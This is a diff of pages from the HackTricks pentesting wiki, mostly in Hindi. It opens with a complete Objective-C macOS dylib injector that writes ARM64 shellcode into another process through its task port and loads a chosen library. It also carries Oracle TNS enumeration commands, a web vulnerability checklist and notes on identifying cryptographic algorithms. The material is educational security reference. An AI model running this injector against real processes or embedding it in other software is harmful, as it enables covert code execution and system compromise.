||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### थ्रेड हाईजैकिंग द्वारा टास्क पोर्ट <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
इस तकनीक में प्रक्रिया के एक थ्रेड को हाईजैक किया जाता है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### बुनियादी जानकारी
|
||||
|
||||
XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC **सिस्टम पर विभिन्न प्रक्रियाओं के बीच सुरक्षित, असिंक्रोनस मेथड कॉल करने** के लिए एक तंत्र प्रदान करता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **अधिकार-सेपरेटेड एप्लिकेशनों** के **निर्माण** की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है।
|
||||
|
||||
इस **संचार के काम करने के तरीके** और यह **कैसे कमजोर हो सकता है** के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - मच इंटरफेस जनरेटर
|
||||
|
||||
MIG को **मच IPC** कोड निर्माण की प्रक्रिया को **सरल बनाने** के लिए बनाया गया था। यह मूल रूप से एक दिए गए परिभाषा के लिए सर्वर और क्लाइंट के बीच संचार के लिए आवश्यक कोड **जनरेट** करता है। भले ही जनरेट किया गया कोड बदसूरत हो, एक डेवलपर को केवल इसे आयात करने की आवश्यकता होगी और उसका कोड पहले से कहीं अधिक सरल होगा।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
|
||||
|
||||
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## सारांश
|
||||
|
||||
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
|
||||
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
|
||||
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
|
||||
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
|
||||
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
|
||||
|
||||
MSF oracle मॉड्यूल का उपयोग करने के लिए आपको कुछ निर्भरताएँ स्थापित करने की आवश्यकता है: [**स्थापना**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## पोस्ट
|
||||
|
||||
इन पोस्टों की जांच करें:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks स्वचालित आदेश
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,130 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
हर Web Pentest में, **कई छिपे हुए और स्पष्ट स्थान हो सकते हैं जो कमजोर हो सकते हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि आप यह सुनिश्चित कर सकें कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर **कुछ प्रकार के** **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिन्हें कमजोरियों का शोषण करने के लिए (दुरुपयोग) किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन उन्हें आमतौर पर बैकएंड में कुछ अतिरिक्त कमजोरी की भी आवश्यकता होती है।
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
|
||||
> [!TIP]
|
||||
> अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जिसे बाद में संसाधित किया जाएगा।**\
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर रहा है जो लागू हो सकती हैं या नहीं।
|
||||
|
||||
### **Reflected Values**
|
||||
|
||||
यदि प्रस्तुत डेटा किसी तरह से प्रतिक्रिया में परिलक्षित हो सकता है, तो पृष्ठ कई मुद्दों के लिए कमजोर हो सकता है।
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
कुछ उल्लेखित कमजोरियों के लिए विशेष परिस्थितियों की आवश्यकता होती है, अन्य केवल सामग्री के परिलक्षित होने की आवश्यकता होती है। आप कुछ दिलचस्प पॉलीग्लॉट्स पा सकते हैं जो कमजोरियों का त्वरित परीक्षण करने के लिए हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड के भीतर किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
|
||||
जब एक वेब सॉकेट एक संदेश पोस्ट करता है या एक फॉर्म उपयोगकर्ताओं को क्रियाएँ करने की अनुमति देता है, तो कमजोरियाँ उत्पन्न हो सकती हैं।
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
वेब सर्वर द्वारा दिए गए HTTP हेडर के आधार पर कुछ कमजोरियाँ मौजूद हो सकती हैं।
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड उन्हें बायपास करने के लिए उपयोगी हो सकते हैं
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
|
||||
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होगी** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करना होगा।\
|
||||
कुछ **विशिष्ट कार्यक्षमताएँ** भी कमजोर हो सकती हैं यदि **इनपुट का एक विशिष्ट प्रारूप उपयोग किया जाता है** (जैसे ईमेल हेडर इंजेक्शन)।
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
फंक्शनलिटीज जो फ़ाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
|
||||
फंक्शनलिटीज जो उपयोगकर्ता इनपुट सहित फ़ाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
|
||||
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें या स्वचालित रूप से उत्पन्न फ़ाइलें खोलते हैं, वे समझौता हो सकते हैं।
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
ये कमजोरियाँ अन्य कमजोरियों का शोषण करने में मदद कर सकती हैं।
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,183 +0,0 @@
|
||||
# Cryptographic/Compression Algorithms
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifying Algorithms
|
||||
|
||||
यदि आप एक कोड में **shift rights और lefts, xors और कई अंकगणितीय संचालन** का उपयोग करते हैं, तो यह अत्यधिक संभव है कि यह एक **क्रिप्टोग्राफिक एल्गोरिदम** का कार्यान्वयन है। यहाँ कुछ तरीके दिखाए जाएंगे **जिससे आप बिना प्रत्येक चरण को उलटने की आवश्यकता के एल्गोरिदम की पहचान कर सकते हैं**।
|
||||
|
||||
### API functions
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
यदि यह फ़ंक्शन उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
एक दिए गए डेटा बफर को संकुचित और अनसंकुचित करता है।
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
[दस्तावेज़ों से](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** फ़ंक्शन का उपयोग एक विशेष क्रिप्टोग्राफिक सेवा प्रदाता (CSP) के भीतर एक विशेष कुंजी कंटेनर के लिए हैंडल प्राप्त करने के लिए किया जाता है। **यह लौटाया गया हैंडल उन CryptoAPI** फ़ंक्शनों में उपयोग किया जाता है जो चयनित CSP का उपयोग करते हैं।
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
डेटा के एक स्ट्रीम का हैशिंग शुरू करता है। यदि यह फ़ंक्शन उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code constants
|
||||
|
||||
कभी-कभी एक एल्गोरिदम की पहचान करना वास्तव में आसान होता है क्योंकि इसे एक विशेष और अद्वितीय मान का उपयोग करने की आवश्यकता होती है।
|
||||
|
||||
.png>)
|
